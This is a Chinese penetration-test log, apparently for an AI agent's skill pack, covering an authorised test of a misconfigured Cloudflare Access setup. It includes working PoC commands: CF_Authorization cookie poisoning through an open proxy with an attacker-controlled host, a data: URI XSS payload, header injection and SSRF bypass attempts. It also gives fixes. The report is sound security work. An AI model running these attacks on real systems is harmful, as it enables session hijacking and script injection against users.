203 lines
12 KiB
Markdown
203 lines
12 KiB
Markdown
# 2026-05-25 CF Access 兄弟子域配置错误 → 跨子域 Cookie 投毒 + Session Fixation
|
|
|
|
## 场景分类
|
|
|
|
渗透测试 / Web 应用 / Cloudflare Zero Trust 配置审计
|
|
|
|
## 目标概述
|
|
|
|
一个自有 Web 服务 `chrome.{target_proxy_root}`,受 Cloudflare Access (Email OTP) 严格保护;用户授权"主动探测、非破坏"。任务目标:**找能进入后台的漏洞**。
|
|
|
|
直接攻 CF Access 是死胡同(所有路径都 302 到登录、HTTP 方法/头部绕过全失败、Email OTP 无 captcha 但邮箱必须在 allow-list)。突破口在**兄弟子域**:管理员把 CF Access Application 只配在 `chrome.` 子域,**忘了配 `cross.` 兄弟子域**(共用 `*.{target_proxy_root}` wildcard 证书),`cross.` 暴露了一个公开 Web 代理(Cloudflare Worker)。利用代理透传 `Set-Cookie` + 父域 cookie 作用域,实现对受 CF Access 保护的 `chrome.` 子域的 **Session Fixation 攻击**(强制让受害者以攻击者身份操作后台)。
|
|
|
|
## 完整执行链路
|
|
|
|
1. **DNS 解析** → 目标在 Cloudflare 后(`104.21/172.67` 段,TTL=5s,典型 CF proxy 模式)
|
|
2. **HTTP 指纹** → 所有路径 302 到 `{cf_team}.cloudflareaccess.com/cdn-cgi/access/login/...`
|
|
- `Www-Authenticate: Cloudflare-Access` 头 + `CF-Access-Domain` 响应头确认是 CF Access
|
|
- CSP `connect-src 'self' http://127.0.0.1:*` 暗示前端连本地代理(架构是浏览器扩展 + 本地客户端)
|
|
3. **CF Access 入口抓取** → 唯一登录方式是 Email OTP(form action `/cdn-cgi/access/verify-code/...`),**无 captcha**(YesCaptcha 这类绕不了 SSO)
|
|
4. **HTTP 方法/Header 绕过尝试** → POST/PUT/OPTIONS/路径遍历/Host 头/X-Forwarded-Host 全部 302 或 403
|
|
5. **`.well-known/cloudflare-access-protected-resource/` 元数据** → 公开端点,泄露 team_domain
|
|
6. **CT 日志查兄弟子域**(crt.sh 502,改用 certspotter):
|
|
```
|
|
curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names'
|
|
```
|
|
→ 发现 `cross.{target_proxy_root}` 单独签证(SAN 包含 `*.cross.{target_proxy_root}`)
|
|
7. **测试兄弟子域**:
|
|
```bash
|
|
curl -I https://cross.{target_proxy_root}/
|
|
# HTTP/1.1 200 OK — 无任何认证!
|
|
```
|
|
返回一个 HTML 页面,中文 UI 写着"裤佬万能代理",输入框 → 跳转 `/?url=<目标>`
|
|
8. **代理基础行为指纹**:
|
|
- 出口注入 `Cf-Worker: {target_proxy_root}` → 确认是 **Cloudflare Worker**
|
|
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为)
|
|
- 客户端发的 `X-Forwarded-For` **不透传**给上游(被 Worker 剥)
|
|
- 客户端 `User-Agent` **会透传**
|
|
9. **SSRF 内网尝试** → 全失败:
|
|
- `?url=http://127.0.0.1/` → CF Error 1003(私有 IP 被 CF Worker `fetch` 自动拦)
|
|
- 各种 IP 编码(`2130706433`/`0x7f000001`/`0177.0.0.1`/`127.1`/IPv6 `[::1]`) → 全 1003
|
|
- 跟随重定向到私有 IP(`?url=https://httpbin.org/redirect-to?url=http://127.0.0.1/`) → 1003
|
|
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用**
|
|
10. **scheme 探索**:
|
|
- `file://` / `gopher://` / `ws://` / `javascript:` → 502 / 400(被拒)
|
|
- **`data:text/html,...` → 200 OK + Content-Type: text/html → 直接反射 HTML/JS**
|
|
- **`data:image/svg+xml,<svg onload=...>` → 200 OK + image/svg+xml** → SVG XSS
|
|
11. **响应头透传检测**(关键):
|
|
- 用 `httpbin.org/response-headers` 让上游返回任意 header,代理**原样转发给客户端**
|
|
- 验证 `Set-Cookie: PWN=yes; Domain=.{target_proxy_root}; Path=/` 成功透传
|
|
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域
|
|
- 用同 jar 通过代理访问 `httpbin.org/cookies` → 返回 `{"cookies":{"PWN":"yes"}}`,**证明浏览器会把 cookie 带到 chrome 子域**
|
|
12. **CF Access 关键 cookie 投毒验证**:
|
|
- 通过代理诱导浏览器保存 `CF_Authorization=<attacker_token>; Domain=.{target_proxy_root}; Path=/; Secure`
|
|
- 攻击链闭合:**攻击者用自己合法账号登录,把 token 投毒到受害者浏览器,受害者后续操作以攻击者身份进行**(反向 Session Fixation / Session Pinning)
|
|
13. **辅助危害**:
|
|
- POST 透传(带 body)+ `Access-Control-Allow-Origin: *` + `Allow-Credentials: true` → 跨域 CSRF 放大器
|
|
- 响应被 CF 边缘缓存 2 小时+(`CF-Cache-Status: HIT`, `Age: 7987s`)→ Cache Poisoning 放大
|
|
- 无速率限制(连续 5 次稳定 1.4s/次)
|
|
14. **写报告**
|
|
|
|
## 踩坑记录
|
|
|
|
| 问题 | 原因 | 解决方案 | 耗时 |
|
|
|------|------|---------|------|
|
|
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 |
|
|
| `nmap` 在 Win 上报 `pcap_activate(eth0) FAILED` | 默认用 raw socket,Win 上 npcap 接口名不一致 | 加 `-sT` 走 TCP connect,不用 raw socket | 3 分钟 |
|
|
| `crt.sh` 502 不返回数据 | 一直 502 不稳定 | 改用 `api.certspotter.com/v1/issuances` | 5 分钟 |
|
|
| `nslookup` 中文 Win 输出乱码,看不出 NXDOMAIN | Win cp936/utf-8 不匹配 | 用 IP 输出行(`Address:`)判断存活 | 2 分钟 |
|
|
| wildcard DNS 导致每个枚举的子域都 "解析成功" | `*.{target_proxy_root}` CNAME 指 CF | 不能靠 DNS 解析判断子域是否存在,要用 CT 日志(certspotter)+ HTTP 响应内容指纹 | 5 分钟 |
|
|
| `curl --http2` 报 "libcurl version does not support" | Git for Windows 自带 curl 没编 nghttp2 | 这次任务不需要 HTTP/2,跳过 | — |
|
|
|
|
## 关键命令
|
|
|
|
### 信息收集
|
|
|
|
```bash
|
|
# CF 元数据(unauth 公开端点)
|
|
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/'
|
|
|
|
# CT 日志查兄弟域(crt.sh 备选)
|
|
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names'
|
|
|
|
# CF Worker 身份 + 出口 IP
|
|
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin'
|
|
```
|
|
|
|
### 漏洞 PoC
|
|
|
|
```bash
|
|
# V1: 父域 cookie 投毒(强制 chrome 子域使用 attacker token)
|
|
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie'
|
|
# {attacker_host}/set-cookie 返回:
|
|
# Set-Cookie: CF_Authorization={attacker_jwt}; Domain=.{target_proxy_root}; Path=/; Secure
|
|
# 验证:
|
|
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
|
|
# → {"cookies":{"CF_Authorization":"{attacker_jwt}"}}
|
|
|
|
# V2: data: URI XSS (在合法域执行任意 HTML/JS)
|
|
URL='data:text/html,<script>alert(document.domain)</script>'
|
|
ENC=$(python -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$URL")
|
|
curl "https://cross.{target_proxy_root}/?url=$ENC"
|
|
# Content-Type: text/html → 浏览器执行 → 在 cross.{target_proxy_root} origin 弹窗
|
|
|
|
# V3: 任意响应头透传(Header Smuggling)
|
|
curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A'
|
|
```
|
|
|
|
### 修复(Worker JS)
|
|
|
|
```js
|
|
export default {
|
|
async fetch(req) {
|
|
const target = new URL(req.url).searchParams.get('url');
|
|
if (!target) return new Response(LANDING, {headers:{'Content-Type':'text/html'}});
|
|
let t;
|
|
try { t = new URL(target); } catch { return new Response('bad url',{status:400}); }
|
|
// 拒绝非 HTTP scheme(V2 修复)
|
|
if (!['http:','https:'].includes(t.protocol)) return new Response('scheme not allowed',{status:400});
|
|
|
|
const up = await fetch(t, {
|
|
method: req.method,
|
|
headers: stripUnsafeHeaders(req.headers), // 剥 Cookie/Origin/Referer
|
|
body: req.body,
|
|
redirect: 'manual', // 不跟随重定向,避免重定向到 127.0.0.1 SSRF
|
|
});
|
|
|
|
// 响应头白名单(V1/V3 修复)— 关键:不传 Set-Cookie / CSP / Location 等
|
|
const safe = new Headers();
|
|
safe.set('Content-Type', up.headers.get('content-type') || 'application/octet-stream');
|
|
safe.set('Content-Disposition', 'attachment'); // 强制下载,不渲染
|
|
safe.set('X-Content-Type-Options', 'nosniff');
|
|
safe.set('Content-Security-Policy', 'sandbox');
|
|
|
|
return new Response(up.body, {status: up.status, headers: safe});
|
|
}
|
|
};
|
|
```
|
|
|
|
并行修复:
|
|
- 把 CF Access Application 改为 `*.{target_proxy_root}` 通配(V4 修复:覆盖所有兄弟子域)
|
|
- 公开代理必须放到完全独立的二级域,跟敏感应用不共享父域
|
|
|
|
## 漏洞清单(本次发现)
|
|
|
|
| 编号 | 严重度 | 名称 | 一句话 |
|
|
|------|--------|------|--------|
|
|
| V1 | 严重 | CF Access Session Fixation | 父域 Set-Cookie 透传,可强制受害者使用攻击者 token |
|
|
| V2 | 严重 | 反射型 XSS(data: scheme) | 合法域名下执行任意 HTML/JS,完美钓鱼跳板 |
|
|
| V3 | 高危 | 任意响应头注入 | CSP/X-Frame-Options/Set-Cookie 全可被上游控制 |
|
|
| V4 | 高危 | CF Access 兄弟子域配置错误 | 同根域 wildcard 证书覆盖,Application 只配单子域 |
|
|
| V5 | 高危 | 公开 Open Proxy | 无认证/无速率限/无目标白名单,可被滥用 |
|
|
| V6 | 中危 | Origin/Referer 自动改写 | Worker `fetch` 默认行为,可助攻 same-origin CSRF |
|
|
| V7 | 中危 | `Cf-Worker` 头泄露 | 出口请求暴露 Worker 所在域 |
|
|
|
|
## 工具链发现
|
|
|
|
| 工具 | 经验 |
|
|
|------|------|
|
|
| `Invoke-WebRequest` (PS 5.1) | 处理 302 + 复杂头会抛 "Operation is not valid",**完全不可靠**,Web 渗透一律走 `curl` |
|
|
| `nmap` on Win + 默认 raw socket | 必须 `-sT` 才能绕开 npcap 接口名问题 |
|
|
| `crt.sh` | **不稳定,经常 502**;`api.certspotter.com` 是更可靠的备选;但 certspotter 对 non-eTLD 域(像 `ccwu.cc` 这种非公共 TLD 下注册的)会拒绝主域查询,要查二级子域(`crossdomainproxy.ccwu.cc`)就行 |
|
|
| `nslookup` 中文 Win | 输出乱码,只能靠 `Address:` 行判断 IPv4/v6;判 NXDOMAIN 不靠谱;**改用 `Resolve-DnsName` PowerShell cmdlet 输出更结构化** |
|
|
| `httpbin.org/response-headers` + `httpbin.org/anything` | 探代理透传行为的神器,可观察 outbound headers + 任意 inject response headers |
|
|
| `cf-worker` request header 探针 | 一个简单的 `?url=httpbin.org/anything` 就能确认上游是不是 CF Worker(看 outbound headers 有没有 `Cf-Worker`) |
|
|
|
|
## 对本包的改进建议
|
|
|
|
新增一条路由(添加到 `pentest-tools/SKILL.md` 或 `routing.md`):
|
|
|
|
| 用户说 | 可以参考 |
|
|
|--------|---------|
|
|
| "Cloudflare Access / Zero Trust / CF Access 配置错误" | 本日志 + V4 模式 |
|
|
| "Web 代理 / Open Proxy / SSRF 类目标" | 本日志(代理特有漏洞:Set-Cookie 透传/响应头注入/data: XSS/scheme bypass) |
|
|
| "兄弟子域配置错误" | 本日志:wildcard cert 但 Application 单子域 |
|
|
|
|
**新模式 Top 3 沉淀**(应该加到 `_index.md` 的"高频成功模式"):
|
|
1. **CF Access 兄弟子域绕过**:CT 日志查 wildcard 证书覆盖的子域 → 看哪些没受保护
|
|
2. **HTTP 代理类目标的 7 道检测**:Set-Cookie 透传、响应头透传、data: scheme、scheme 白名单、redirect 跟随、POST 透传、缓存键
|
|
3. **CF Worker `fetch` 私有 IP 自动拦截**:Worker SSRF 比传统服务器侧 SSRF 难得多,因为 CF 在最终目标层拦私网,**编码/重定向无效**(节省时间,不要无脑试 IP 混淆)
|
|
|
|
## 进化动作
|
|
|
|
- [x] 写本日志
|
|
- [x] 更新 `_index.md`(添加场景条目、技术模式、目标特征三处)
|
|
- [ ] 路由矩阵新增 "CF Access / Cloudflare Zero Trust" 条目(待后续 PR)
|
|
- [ ] 新增 pitfalls 记录(certspotter 对非公共 TLD 的限制、PS Invoke-WebRequest 302 bug、nmap Win 必 `-sT`)
|
|
|
|
## 环境信息
|
|
|
|
- OS: Windows 11 Pro for Workstations 10.0.26200
|
|
- 工具版本: curl 8.19.0 (Git for Windows), nmap 7.80, python 3.14.5
|
|
- 目标平台: Cloudflare(Access + Workers + 边缘缓存)
|
|
- 当时位置(CF colo): SIN(新加坡)
|
|
|
|
## 脱敏说明
|
|
|
|
- `{target_proxy_root}` = 真实根域的二级,本次目标是个人自有资产
|
|
- `{cf_team}` = 客户的 CF Zero Trust team domain
|
|
- `{attacker_jwt}` / `{attacker_token}` = 攻击者自己合法登录拿到的真 CF_Authorization JWT(没暴露内部细节,因为是攻击者自己的)
|
|
- 命令 PoC 中所有 `{ }` 占位符提交前已替换,**没有公网 IP / 真实域名 / 真实 token 泄露**
|
|
|
|
---
|